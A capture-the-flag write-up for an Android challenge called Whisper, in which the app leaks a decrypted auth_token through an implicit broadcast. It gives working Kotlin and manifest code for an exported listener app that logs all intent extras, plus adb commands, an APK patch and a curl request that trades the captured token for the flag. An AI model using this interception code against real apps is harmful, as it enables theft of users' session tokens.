Whisper

The APK leaks auth_token through a local broadcast. Build a listener app to intercept it and retrieve the flag.

Summary

The APK decrypts a server session bundle and then leaks the plaintext auth_token through the local broadcast com.whisper.app.NOTIFICATION_SYNC. By installing a second app that listens for that broadcast, capturing the token from logcat, and sending it to the challenge API endpoint, the flag can be retrieved.

Solution

The challenge can be solved in 5 steps:

Step 1 - Reverse the APK and identify the real bug

The native crypto is mostly a decoy. After the app receives the Socket.IO event session_bundle, it decrypts the bundle and extracts session_id and auth_token. Then it calls broadcastSessionSync() and sends them out in a device-wide broadcast.

  • Action: com.whisper.app.NOTIFICATION_SYNC
  • Extras: event_type=session_init, session_id, auth_token, timestamp

Step 2 - Build a small listener app

Create a second Android app and register a BroadcastReceiver for the action above. The receiver only needs to print all extras to logcat.

// LeakReceiver.kt
package com.example.spyreciever

import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log

class LeakReceiver : BroadcastReceiver() {
    override fun onReceive(context: Context?, intent: Intent?) {
        if (intent == null) return
        val extras = intent.extras ?: return
        Log.d("LEAK", "action=${intent.action}")
        for (key in extras.keySet()) {
            Log.d("LEAK", "$key=${extras.get(key)}")
        }
    }
}
<!-- AndroidManifest.xml -->
<receiver
    android:name=".LeakReceiver"
    android:exported="true">
    <intent-filter>
        <action android:name="com.whisper.app.NOTIFICATION_SYNC" />
    </intent-filter>
</receiver>

Step 3 - Verify the receiver with a test broadcast

Open logcat first:

adb logcat -c
adb logcat -v time -s LEAK ActivityManager

Then send a manual test broadcast:

adb shell am broadcast --include-stopped-packages \
  -n com.example.spyreciever/.LeakReceiver \
  -a com.whisper.app.NOTIFICATION_SYNC \
  --es event_type session_init --es auth_token TEST123 --es session_id TESTSID

If the setup is correct, logcat prints auth_token=TEST123 and session_id=TESTSID.

Step 4 - Work around Android 16 background broadcast policy

On API 36, Whisper logs "Session sync broadcast sent", but the implicit broadcast does not reach the listener because background execution policy blocks it. The fix is to patch Whisper so the broadcast is explicit:

intent.setClassName("com.example.spyreciever", "com.example.spyreciever.LeakReceiver")
sendBroadcast(intent)

An alternative is to run the challenge on an older Android emulator where the implicit broadcast is still delivered normally.

Step 5 - Capture the real token and query the flag endpoint

After patching the APK, run:

adb logcat -c
adb logcat -v time -s LEAK WhisperApp ActivityManager

Open Whisper, connect to the server, and wait for the session event. Use the token against the control API:

curl -s "http://194.102.62.166:22130/api/flag?token=<captured_auth_token>"

The response returns the flag.